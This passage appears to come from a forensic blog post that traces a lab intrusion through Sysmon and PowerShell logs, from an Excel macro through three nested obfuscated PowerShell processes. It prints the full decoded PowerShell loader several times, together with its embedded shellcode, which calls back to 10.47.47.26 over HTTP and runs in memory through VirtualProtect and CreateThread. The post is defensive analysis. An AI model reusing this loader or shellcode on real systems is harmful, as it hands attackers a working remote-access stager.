AbQBlAG4AdABdADoAOgBJAHMANgA0AEIAaQB0AE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACAALQBlAHEAIAAnACQASQB0AFgAJwApAHsAJAB1AG0APQAgACQAawBYAHQAfQA7ACQAdgBGAD0AIgAgACQAdQBtACAAUwB3AGYAWAAgACQAcQB6ACIAOwAkAHYARgA9ACQAdgBGAC4AcgBlAHAAbABhAGMAZQAoACIAUwB3AGYAWAAiACwAIAAiAC0AbgBvAGUAeABpAHQAIAAtAGUAIgApADsAaQBlAHgAIAAkAHYARgA=')"

CurrentDirectory: C:\Users\davehull\Documents\

User: 1011LABS\dave.hull

LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}

LogonId: 0x3B7EEE

TerminalSessionId: 1

IntegrityLevel: High

Hashes: MD5=38FD25D3D4AD1C28F741B1D4D50B2E6E,SHA256=2C2F1A21D85504374679D83D1BE9553D082AD9B28CBB847A90F04305A09882B9,IMPHASH=A4D32F1AEF525B8ADA6A26F28596AC2E

ParentProcessGuid: {fc3f293c-a6fb-5f14-437f-430000000000}

ParentProcessId: 2476

ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE"


Above we have Sysmon logging a process creation event for a PowerShell process. Note this process is a child of the previous Excel process. We can confirm this by looking at the parent process GUID and matching it against the process GUID from the previous process creation event. You could compare the parent process Ids, but again, this is not always foolproof given process Id reuse.

As an aside here, many may assume Excel parenting PowerShell is immediately suspect, but in some enterprises, there may be legitimate Excel macros that spawn PowerShell or cmd.exe processes to execute some additional supporting process. You may think it ridiculous, but there are examples of this to be found.

The tell that something is awry with this instance of PowerShell is found on the command-line. No, not the base64 blob, which is also commonly used benignly to protect binary data sent via protocols that can only handle ASCII or to protect formatting. Here's the part that gives it away, for me:

CommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe  /w 1 /C "sv BvI -;sv AT ec;sv Al ((gv BvI).value.toString()+(gv AT).value.toString());powershell (gv Al).value.toString()


What's going on here is clear obfuscation -- someone is trying to evade detection. Let's break this down a bit. 

/w 1 will set the window style to hidden, preventing the PowerShell window from popping up on the user's screen.

"sv BvI -;sv AT ec;sv Al ((gv BvI).value.toString()+(gv AT).value.toString());powershell (gv Al).value.toString()

Above is where things get really suspect. In the line above the alias for Set-Variable, sv, is used to create a variable called BvI and its value is set to the hyphen character. Next, another variable, AT is created with a value of ec, next a variable named Al is set to the concatenation of the two previous variables, so -ec, short for -EncodedCommand. Next that variable is passed as an argument to another PowerShell instance followed by the base64 encoded command.

What of the encoded command? If you run it through GCHQ's extremely useful Cyberchef, you'll get this:

$is='$Ku=''[DllImport(("msvcrt"+"."+"dll"))]public static extern IntPtr calloc(uint dwSize, uint amount);[DllImport("kernel32"+"."+"dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("kernel32"+"."+"dll")]public static extern IntPtr VirtualProtect(IntPtr lpStartAddress, uint dwSize, uint flNewProtect, out uint Tao);[DllImport("msvcrt"+"."+"dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$TW="}e8,}82,}00,}00,}00,}60,}89,}e5,}31,}c0,}64,}8b,}50,}30,}8b,}52,}0c,}8b,}52,}14,}8b,}72,}28,}0f,}b7,}4a,}26,}31,}ff,}ac,}3c,}61,}7c,}02,}2c,}20,}c1,}cf,}0d,}01,}c7,}e2,}f2,}52,}57,}8b,}52,}10,}8b,}4a,}3c,}8b,}4c,}11,}78,}e3,}48,}01,}d1,}51,}8b,}59,}20,}01,}d3,}8b,}49,}18,}e3,}3a,}49,}8b,}34,}8b,}01,}d6,}31,}ff,}ac,}c1,}cf,}0d,}01,}c7,}38,}e0,}75,}f6,}03,}7d,}f8,}3b,}7d,}24,}75,}e4,}58,}8b,}58,}24,}01,}d3,}66,}8b,}0c,}4b,}8b,}58,}1c,}01,}d3,}8b,}04,}8b,}01,}d0,}89,}44,}24,}24,}5b,}5b,}61,}59,}5a,}51,}ff,}e0,}5f,}5f,}5a,}8b,}12,}eb,}8d,}5d,}68,}6e,}65,}74,}00,}68,}77,}69,}6e,}69,}54,}68,}4c,}77,}26,}07,}ff,}d5,}31,}db,}53,}53,}53,}53,}53,}68,}3a,}56,}79,}a7,}ff,}d5,}53,}53,}6a,}03,}53,}53,}6a,}50,}e8,}84,}00,}00,}00,}2f,}38,}4b,}68,}38,}39,}00,}50,}68,}57,}89,}9f,}c6,}ff,}d5,}89,}c6,}53,}68,}00,}02,}60,}84,}53,}53,}53,}57,}53,}56,}68,}eb,}55,}2e,}3b,}ff,}d5,}96,}6a,}0a,}5f,}53,}53,}53,}53,}56,}68,}2d,}06,}18,}7b,}ff,}d5,}85,}c0,}75,}16,}68,}88,}13,}00,}00,}68,}44,}f0,}35,}e0,}ff,}d5,}4f,}75,}e1,}68,}f0,}b5,}a2,}56,}ff,}d5,}6a,}40,}68,}00,}10,}00,}00,}68,}00,}00,}40,}00,}53,}68,}58,}a4,}53,}e5,}ff,}d5,}93,}53,}53,}89,}e7,}57,}68,}00,}20,}00,}00,}53,}56,}68,}12,}96,}89,}e2,}ff,}d5,}85,}c0,}74,}cd,}8b,}07,}01,}c3,}85,}c0,}75,}e5,}58,}c3,}5f,}e8,}7d,}ff,}ff,}ff,}31,}30,}2e,}34,}37,}2e,}34,}37,}2e,}32,}36,}00";$Zu=Add-Type -pass -m $Ku -Name "UV" -names wXr;$Zu=$Zu.replace("wXr", "Wi"+"n"+"32Functions");[byte[]]$TW = $TW.replace("}","QhEax").replace("QhEa", "0").Split(",");$RN=0x1007;if ($TW.L -gt 0x1007){$RN=$TW.L};$dV=$Zu::calloc(0x1007, 1);[UInt64]$Tao = 0;for($vX=0;$vX -le($TW.Length-1);$vX++){$Zu::memset([IntPtr]($dV.ToInt32()+$vX), $TW[$vX], 1)};$Zu::VirtualProtect($dV, 0x1007, 0x40, [Ref]$Tao);$Zu::CreateThread(0,0x00,$dV,0,0,0);';$qz=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($is));$um="powershell";$PM="Windows";$kXt = "C:\$PM\syswow64\$PM$um\v1.0\$um";$ItX = 'Tr"+"u"+"e';if([environment]::Is64BitOperatingSystem -eq '$ItX'){$um= $kXt};$vF=" $um SwfX $qz";$vF=$vF.replace("SwfX", "-noexit -e");iex $vF

We could spend an entire post picking this apart. For our purposes and for expediency, let's call out a few things about it and move on. According to the esteemable polymath Lee Holmes, the proper way to attempt deobfuscation of obfuscated PowerShell is to run it in a VM with the latest PowerShell installed and all PS logging enabled, then review the logs post execution. The reason for this is that PowerShell has side effects, which is to say executing PS, even if you were to replace the iex $vF called near the end of the output above with something like Write-Host $vF, could cause changes outside the scope.

The above has already executed on our victim system and was logged in PowerShell's Operational log as a 4104 event:

$Ku='[DllImport(("msvcrt"+"."+"dll"))]public static extern IntPtr calloc(uint dwSize, uint amount);[DllImport("kernel32"+"."+"dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("kernel32"+"."+"dll")]public static extern IntPtr VirtualProtect(IntPtr lpStartAddress, uint dwSize, uint flNewProtect, out uint Tao);[DllImport("msvcrt"+"."+"dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$TW="}e8,}82,}00,}00,}00,}60,}89,}e5,}31,}c0,}64,}8b,}50,}30,}8b,}52,}0c,}8b,}52,}14,}8b,}72,}28,}0f,}b7,}4a,}26,}31,}ff,}ac,}3c,}61,}7c,}02,}2c,}20,}c1,}cf,}0d,}01,}c7,}e2,}f2,}52,}57,}8b,}52,}10,}8b,}4a,}3c,}8b,}4c,}11,}78,}e3,}48,}01,}d1,}51,}8b,}59,}20,}01,}d3,}8b,}49,}18,}e3,}3a,}49,}8b,}34,}8b,}01,}d6,}31,}ff,}ac,}c1,}cf,}0d,}01,}c7,}38,}e0,}75,}f6,}03,}7d,}f8,}3b,}7d,}24,}75,}e4,}58,}8b,}58,}24,}01,}d3,}66,}8b,}0c,}4b,}8b,}58,}1c,}01,}d3,}8b,}04,}8b,}01,}d0,}89,}44,}24,}24,}5b,}5b,}61,}59,}5a,}51,}ff,}e0,}5f,}5f,}5a,}8b,}12,}eb,}8d,}5d,}68,}6e,}65,}74,}00,}68,}77,}69,}6e,}69,}54,}68,}4c,}77,}26,}07,}ff,}d5,}31,}db,}53,}53,}53,}53,}53,}68,}3a,}56,}79,}a7,}ff,}d5,}53,}53,}6a,}03,}53,}53,}6a,}50,}e8,}84,}00,}00,}00,}2f,}38,}4b,}68,}38,}39,}00,}50,}68,}57,}89,}9f,}c6,}ff,}d5,}89,}c6,}53,}68,}00,}02,}60,}84,}53,}53,}53,}57,}53,}56,}68,}eb,}55,}2e,}3b,}ff,}d5,}96,}6a,}0a,}5f,}53,}53,}53,}53,}56,}68,}2d,}06,}18,}7b,}ff,}d5,}85,}c0,}75,}16,}68,}88,}13,}00,}00,}68,}44,}f0,}35,}e0,}ff,}d5,}4f,}75,}e1,}68,}f0,}b5,}a2,}56,}ff,}d5,}6a,}40,}68,}00,}10,}00,}00,}68,}00,}00,}40,}00,}53,}68,}58,}a4,}53,}e5,}ff,}d5,}93,}53,}53,}89,}e7,}57,}68,}00,}20,}00,}00,}53,}56,}68,}12,}96,}89,}e2,}ff,}d5,}85,}c0,}74,}cd,}8b,}07,}01,}c3,}85,}c0,}75,}e5,}58,}c3,}5f,}e8,}7d,}ff,}ff,}ff,}31,}30,}2e,}34,}37,}2e,}34,}37,}2e,}32,}36,}00";$Zu=Add-Type -pass -m $Ku -Name "UV" -names wXr;$Zu=$Zu.replace("wXr", "Wi"+"n"+"32Functions");[byte[]]$TW = $TW.replace("}","QhEax").replace("QhEa", "0").Split(",");$RN=0x1007;if ($TW.L -gt 0x1007){$RN=$TW.L};$dV=$Zu::calloc(0x1007, 1);[UInt64]$Tao = 0;for($vX=0;$vX -le($TW.Length-1);$vX++){$Zu::memset([IntPtr]($dV.ToInt32()+$vX), $TW[$vX], 1)};$Zu::VirtualProtect($dV, 0x1007, 0x40, [Ref]$Tao);$Zu::CreateThread(0,0x00,$dV,0,0,0);


This is not so different from what we saw above. This is passed as an argument to yet another PowerShell process. To recap we had Excel spawn a PowerShell building an obfuscated command line that was passed to another PowerShell, shown above once removed (white text), which spawns another PowerShell that runs the code above in black. If you're keeping track, it's a noisy attack.

Again a full accounting requires more work than we'll go into now, but let's spend a little time analyzing this. First, I find it helpful to put this into an IDE that can make sense of PowerShell and clean things up a bit.

$Ku='[DllImport(("msvcrt"+"."+"dll"))]public static extern IntPtr calloc(uint dwSize, uint `
amount)`
[DllImport("kernel32"+"."+"dll")]public static extern IntPtr CreateThread(IntPtr `
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, `
uint dwCreationFlags, IntPtr lpThreadId)`
[DllImport("kernel32"+"."+"dll")]public static extern IntPtr VirtualProtect(IntPtr `
lpStartAddress, uint dwSize, uint flNewProtect, out uint Tao)`
[DllImport("msvcrt"+"."+"dll")]public static extern IntPtr memset(IntPtr dest, uint src, `
uint count);'

$TW="}e8,}82,}00,}00,}00,}60,}89,}e5,}31,}c0,}64,}8b,}50,}30,}8b,}52,}0c,}8b,}52,}14,}8b,`
}72,}28,}0f,}b7,}4a,}26,}31,}ff,}ac,}3c,}61,}7c,}02,}2c,}20,}c1,}cf,}0d,}01,}c7,}e2,}f2,`
}52,}57,}8b,}52,}10,}8b,}4a,}3c,}8b,}4c,}11,}78,}e3,}48,}01,}d1,}51,}8b,}59,}20,}01,}d3,`
}8b,}49,}18,}e3,}3a,}49,}8b,}34,}8b,}01,}d6,}31,}ff,}ac,}c1,}cf,}0d,}01,}c7,}38,}e0,}75,`
}f6,}03,}7d,}f8,}3b,}7d,}24,}75,}e4,}58,}8b,}58,}24,}01,}d3,}66,}8b,}0c,}4b,}8b,}58,}1c,`
}01,}d3,}8b,}04,}8b,}01,}d0,}89,}44,}24,}24,}5b,}5b,}61,}59,}5a,}51,}ff,}e0,}5f,}5f,}5a,`
}8b,}12,}eb,}8d,}5d,}68,}6e,}65,}74,}00,}68,}77,}69,}6e,}69,}54,}68,}4c,}77,}26,}07,}ff,`
}d5,}31,}db,}53,}53,}53,}53,}53,}68,}3a,}56,}79,}a7,}ff,}d5,}53,}53,}6a,}03,}53,}53,}6a,`
}50,}e8,}84,}00,}00,}00,}2f,}38,}4b,}68,}38,}39,}00,}50,}68,}57,}89,}9f,}c6,}ff,}d5,}89,`
}c6,}53,}68,}00,}02,}60,}84,}53,}53,}53,}57,}53,}56,}68,}eb,}55,}2e,}3b,}ff,}d5,}96,}6a,`
}0a,}5f,}53,}53,}53,}53,}56,}68,}2d,}06,}18,}7b,}ff,}d5,}85,}c0,}75,}16,}68,}88,}13,}00,`
}00,}68,}44,}f0,}35,}e0,}ff,}d5,}4f,}75,}e1,}68,}f0,}b5,}a2,}56,}ff,}d5,}6a,}40,}68,}00,`
}10,}00,}00,}68,}00,}00,}40,}00,}53,}68,}58,}a4,}53,}e5,}ff,}d5,}93,}53,}53,}89,}e7,}57,`
}68,}00,}20,}00,}00,}53,}56,}68,}12,}96,}89,}e2,}ff,}d5,}85,}c0,}74,}cd,}8b,}07,}01,}c3,`
}85,}c0,}75,}e5,}58,}c3,}5f,}e8,}7d,}ff,}ff,}ff,}31,}30,}2e,}34,}37,}2e,}34,}37,}2e,}32,`
}36,}00"

$Zu=Add-Type -pass -m $Ku -Name "UV" -names wXr
$Zu=$Zu.replace("wXr", "Wi"+"n"+"32Functions")

[byte[]]$TW = $TW.replace("}","QhEax").replace("QhEa", "0").Split(",")

$RN=0x1007

if ($TW.L -gt 0x1007)
{
$RN=$TW.L
}

$dV=$Zu::calloc(0x1007, 1)
[UInt64]$Tao = 0
for($vX=0; $vX -le($TW.Length-1); $vX++)
{
$Zu::memset([IntPtr]($dV.ToInt32()+$vX), $TW[$vX], 1)
}

$Zu::VirtualProtect($dV, 0x1007, 0x40, [Ref]$Tao)
$Zu::CreateThread(0,0x00,$dV,0,0,0)

As an investigator, we'll want to glean as much as we can as quickly as we can. Several things jump out to me. First and foremost the string of hexadecimal characters delimited by ,},  which is assigned to a variable named $TW. I take this to be shellcode, but it requires more time and effort to grok.

We see a variable named $Ku assigned a string that calls DllImport multiple times, referencing in order the calloc function in msvcrt.dll, the CreateThread and VirtualProtect functions in kernel32.dll and finally the memset function in msvcrt.dll.

Below the byte array we see a variable created called $Zu. $Zu is set to the result of a call to the Add-Type cmdlet, which is going to cause some just-in-time compilation, triggering the C# compiler, csc.exe and the C# linker, cvtres.exe. This JIT compilation will add the specified functionality to our PowerShell session that wouldn't otherwise be there, essentially allowing the PowerShell session to access C# functionality it may not normally have. In my experience, this compilation will create a dll on disk that may be useful to analysts, though I've not personally taken the time to examine one. Passing it to pefile may be insightful. After Add-Type completes, $Zu will be a RunTimeType object. The value of the variable $Ku from above is passed in as the MemberDefinition, the Name of the class created will be UV and the Namespace will be wXr.

Immediately following the designation of wXr as the Namespace, we see the replace() method called on the $Zu, but I think this will fail as RunTimeType objects have no replace() method.

Next we have some manipulations of the $TW variable. The curly brace is replaced by QhEax, and then the QhEa string is replaced by 0, leaving us with 0x in place of the curly brace and the string is split on the comma character resulting in an array of bytes assigned to $TW. Next up a variable named $RN is assigned the value 0x1007. Then $dv is assigned the return value from a call to $Zu's calloc() function, essentially a pointer to the allocated space in memory.

Next a for loop iterates over the $TW byte array elements, calling memset() and populating the previously allocated memory (note the use of the $dv pointer) with the bytes from $TW.

After populating the allocated memory, the VirtualProtect() function is called. Of note, the 0x40 value represents a memory protection constant of PAGE_EXECUTE_READWRITE.

And finally CreateThread() is called to execute the previously allocated code. Note this is not CreateRemoteThread(), which creates a new thread of execution in a remote process, this is creating a new thread in the current PowerShell process. We'll see the latter later.

So we have a rough outline of what this is doing, but we won't know the details unless we pick apart the byte array. If anyone wants to chime in on a reasonable process for that, I'm all ears. I've dabbled in reversing, but my knowledge in this area is not what I want it to be.

Back to Sysmon says

Recall our process before we took the detour to analyze our malicious PowerShells. Sysmon captured all of that. We left off reviewing events in the Sysmon log. Let's return to that. We saw PowerShell building an obfuscated set of variables that were going to be handed to another PowerShell instance as an encoded command, which we just spent some time picking apart. Sysmon picks up the execution of that PowerShell process as a child of the first PowerShell process, the grandchild of Excel.

Event ID:      1

Task Category: Process Create (rule: ProcessCreate)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Process Create:

RuleName: -

UtcTime: 2020-07-19 20:03:36.723

ProcessGuid: {fc3f293c-a718-5f14-a4dd-430000000000}

ProcessId: 1236

Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

FileVersion: 10.0.14409.1005 (rs1_srvoob.161208-1155)

Description: Windows PowerShell

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: PowerShell.EXE

CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec JABpAHMAPQAnACQASwB1AD0AJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAoACIAbQBzAHYAYwByAHQAIgArACIALgAiACsAIgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAYwBhAGwAbABvAGMAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKwAiAC4AIgArACIAZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcg...NgA0AFwAJABQAE0AJAB1AG0AXAB2ADEALgAwAFwAJAB1AG0AIgA7ACQASQB0AFgAIAA9ACAAJwBUAHIAIgArACIAdQAiACsAIgBlACcAOwBpAGYAKABbAGUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBJAHMANgA0AEIAaQB0AE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACAALQBlAHEAIAAnACQASQB0AFgAJwApAHsAJAB1AG0APQAgACQAawBYAHQAfQA7ACQAdgBGAD0AIgAgACQAdQBtACAAUwB3AGYAWAAgACQAcQB6ACIAOwAkAHYARgA9ACQAdgBGAC4AcgBlAHAAbABhAGMAZQAoACIAUwB3AGYAWAAiACwAIAAiAC0AbgBvAGUAeABpAHQAIAAtAGUAIgApADsAaQBlAHgAIAAkAHYARgA=

CurrentDirectory: C:\Users\davehull\Documents\

User: 1011LABS\dave.hull

LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}

LogonId: 0x3B7EEE

TerminalSessionId: 1

IntegrityLevel: High

Hashes: MD5=38FD25D3D4AD1C28F741B1D4D50B2E6E,SHA256=2C2F1A21D85504374679D83D1BE9553D082AD9B28CBB847A90F04305A09882B9,IMPHASH=A4D32F1AEF525B8ADA6A26F28596AC2E

ParentProcessGuid: {fc3f293c-a716-5f14-06ce-430000000000}

ParentProcessId: 1604

ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

ParentCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe  /w 1 /C "sv BvI -;sv AT ec;sv Al ((gv BvI).value.toString()+(gv AT).value.toString());powershell (gv Al).value.toString()...


Above I've redacted some portions to save space. Note the ParentCommandLine near the bottom was the one we reviewed previously, but the CommandLine shows plainly all that the attacker tried to hide or obfuscate to circumvent detection. The above PowerShell instance parents the third one, partially shown below.

Date:          7/19/2020 8:03:36 PM

Event ID:      1

Task Category: Process Create (rule: ProcessCreate)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Process Create:

RuleName: -

UtcTime: 2020-07-19 20:03:36.942

ProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}

ProcessId: 2752

Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

FileVersion: 10.0.14409.1005 (rs1_srvoob.161208-1155)

Description: Windows PowerShell

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: PowerShell.EXE

CommandLine: "C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe" -noexit -e JABLAHUAPQAnAFsARABsAGwASQBtAHAAbwByAHQAKAAoACIAbQBzAHYAYwByAHQAIgArACIALgAiACsAIgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGE...LAAgAFsAUgBlAGYAXQAkAFQAYQBvACkAOwAkAFoAdQA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAB4ADAAMAAsACQAZABWACwAMAAsADAALAAwACkAOwA=

CurrentDirectory: C:\Users\davehull\Documents\

User: 1011LABS\dave.hull

LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}

LogonId: 0x3B7EEE

TerminalSessionId: 1

IntegrityLevel: High

Hashes: MD5=38FD25D3D4AD1C28F741B1D4D50B2E6E,SHA256=2C2F1A21D85504374679D83D1BE9553D082AD9B28CBB847A90F04305A09882B9,IMPHASH=A4D32F1AEF525B8ADA6A26F28596AC2E

ParentProcessGuid: {fc3f293c-a718-5f14-a4dd-430000000000}

ParentProcessId: 1236

ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec JABpAHMAPQAnACQASwB1AD0AJw...


Again, I've redacted the encoded commands to save space, but we've already reviewed them in some detail, if not enough. Note the ProcessId 2752 is our third PowerShell instance.

Recall the discussion of the Add-Type cmdlet causing csc.exe and cvtres.exe to run. We can see that in the Sysmon logs.

Date:          7/19/2020 8:03:37 PM

Event ID:      1

Task Category: Process Create (rule: ProcessCreate)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Process Create:

RuleName: -

UtcTime: 2020-07-19 20:03:37.177

ProcessGuid: {fc3f293c-a719-5f14-1cf9-430000000000}

ProcessId: 44

Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

FileVersion: 4.8.3761.0 built by: NET48REL1

Description: Visual C# Command Line Compiler

Product: Microsoft® .NET Framework

Company: Microsoft Corporation

OriginalFileName: csc.exe

CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\davehull\AppData\Local\Temp\3m35xm2u\3m35xm2u.cmdline"

CurrentDirectory: C:\Users\davehull\Documents\

User: 1011LABS\dave.hull

LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}

LogonId: 0x3B7EEE

TerminalSessionId: 1

IntegrityLevel: High

Hashes: MD5=F8F36858B9405FBE27377FD7E8FEC2F2,SHA256=086C38FD66AEC0E824ECB74ECE3D7124174201A9B4F5C9974FCFDBAF04A5870E,IMPHASH=950FB6F62526333E663D35BA72D19DDC

ParentProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}

ParentProcessId: 2752

ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

ParentCommandLine: "C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe" -noexit -e JABLAHUAPQAnAFs...


Above we can see csc.exe as a child of the PowerShell process with PID of 2752. And next we see this csc.exe instance parenting cvtres.exe:

Date:          7/19/2020 8:03:37 PM

Event ID:      1

Task Category: Process Create (rule: ProcessCreate)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Process Create:

RuleName: -

UtcTime: 2020-07-19 20:03:37.442

ProcessGuid: {fc3f293c-a719-5f14-89fc-430000000000}

ProcessId: 2128

Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

FileVersion: 14.10.25028.0 built by: VCTOOLSD15RTM

Description: Microsoft® Resource File To COFF Object Conversion Utility

Product: Microsoft® .NET Framework

Company: Microsoft Corporation

OriginalFileName: CVTRES.EXE

CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\davehull\AppData\Local\Temp\RES2896.tmp" "c:\Users\davehull\AppData\Local\Temp\3m35xm2u\CSC81A6F4C3835645A8965DB621A6C573D8.TMP"

CurrentDirectory: C:\Users\davehull\Documents\

User: 1011LABS\dave.hull

LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}

LogonId: 0x3B7EEE

TerminalSessionId: 1

IntegrityLevel: High

Hashes: MD5=70D838A7DC5B359C3F938A71FAD77DB0,SHA256=E4DBDBF7888EA96F3F8AA5C4C7F2BCF6E57D724DD8194FE5F35B673C6EF724EA,IMPHASH=0FCE7AAB563778C495FB59AA62464473

ParentProcessGuid: {fc3f293c-a719-5f14-1cf9-430000000000}

ParentProcessId: 44

ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\davehull\AppData\Local\Temp\3m35xm2u\3m35xm2u.cmdline"


And here's the output, a dll created in the Temp directory:

Date:          7/19/2020 8:03:37 PM

Event ID:      11

Task Category: File created (rule: FileCreate)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

File created:

RuleName: DLL

UtcTime: 2020-07-19 20:03:37.458

ProcessGuid: {fc3f293c-a719-5f14-1cf9-430000000000}

ProcessId: 44

Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

TargetFilename: C:\Users\davehull\AppData\Local\Temp\3m35xm2u\3m35xm2u.dll

CreationUtcTime: 2020-07-19 20:03:37.161


Next up, Sysmon shows:

Date:          7/19/2020 8:03:39 PM

Event ID:      3

Task Category: Network connection detected (rule: NetworkConnect)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Network connection detected:

RuleName: -

UtcTime: 2020-07-19 20:03:34.735

ProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}

ProcessId: 2752

Image: C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe

User: 1011LABS\dave.hull

Protocol: tcp

Initiated: true

SourceIsIpv6: false

SourceIp: 10.47.47.17

SourceHostname: wins2012r202.1011Labs.com

SourcePort: 53245

SourcePortName: -

DestinationIsIpv6: false

DestinationIp: 10.47.47.26

DestinationHostname: -

DestinationPort: 80

DestinationPortName: http


Perhaps our shellcode set up this reverse shell connecting to 10.47.47.26 via port 80?

And another, but the source port has incremented:

Date:          7/19/2020 8:03:39 PM

Event ID:      3

Task Category: Network connection detected (rule: NetworkConnect)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Network connection detected:

RuleName: -

UtcTime: 2020-07-19 20:03:35.259

ProcessGuid: {fc3f293c-a718-5f14-49eb-430000000000}

ProcessId: 2752

Image: C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe

User: 1011LABS\dave.hull

Protocol: tcp

Initiated: true

SourceIsIpv6: false

SourceIp: 10.47.47.17

SourceHostname: wins2012r202.1011Labs.com

SourcePort: 53246

SourcePortName: -

DestinationIsIpv6: false

DestinationIp: 10.47.47.26

DestinationHostname: -

DestinationPort: 80

DestinationPortName: http


Then a bit later we have a Registry value set event related to creation of a new service:

Date:          7/19/2020 8:04:17 PM

Event ID:      13

Task Category: Registry value set (rule: RegistryEvent)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Registry value set:

RuleName: T1031,T1050

EventType: SetValue

UtcTime: 2020-07-19 20:04:17.209

ProcessGuid: {fc3f293c-bb4e-5f13-9e5b-000000000000}

ProcessId: 468

Image: C:\Windows\system32\services.exe

TargetObject: HKLM\System\CurrentControlSet\Services\axfvos\Start

Details: DWORD (0x00000003)


Followed by another related Registry value set event:

Date:          7/19/2020 8:04:17 PM

Event ID:      13

Task Category: Registry value set (rule: RegistryEvent)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Registry value set:

RuleName: T1031,T1050

EventType: SetValue

UtcTime: 2020-07-19 20:04:17.209

ProcessGuid: {fc3f293c-bb4e-5f13-9e5b-000000000000}

ProcessId: 468

Image: C:\Windows\system32\services.exe

TargetObject: HKLM\System\CurrentControlSet\Services\axfvos\ImagePath

Details: cmd.exe /c echo axfvos > \\.\pipe\axfvos


And a blink later, a related process creation event:

Date:          7/19/2020 8:04:17 PM

Event ID:      1

Task Category: Process Create (rule: ProcessCreate)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Process Create:

RuleName: -

UtcTime: 2020-07-19 20:04:17.225

ProcessGuid: {fc3f293c-a741-5f14-920b-440000000000}

ProcessId: 1720

Image: C:\Windows\System32\cmd.exe

FileVersion: 6.2.9200.16384 (win8_rtm.120725-1247)

Description: Windows Command Processor

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: Cmd.Exe

CommandLine: cmd.exe /c echo axfvos > \\.\pipe\axfvos

CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

LogonGuid: {fc3f293c-bb4e-5f13-e703-000000000000}

LogonId: 0x3E7

TerminalSessionId: 0

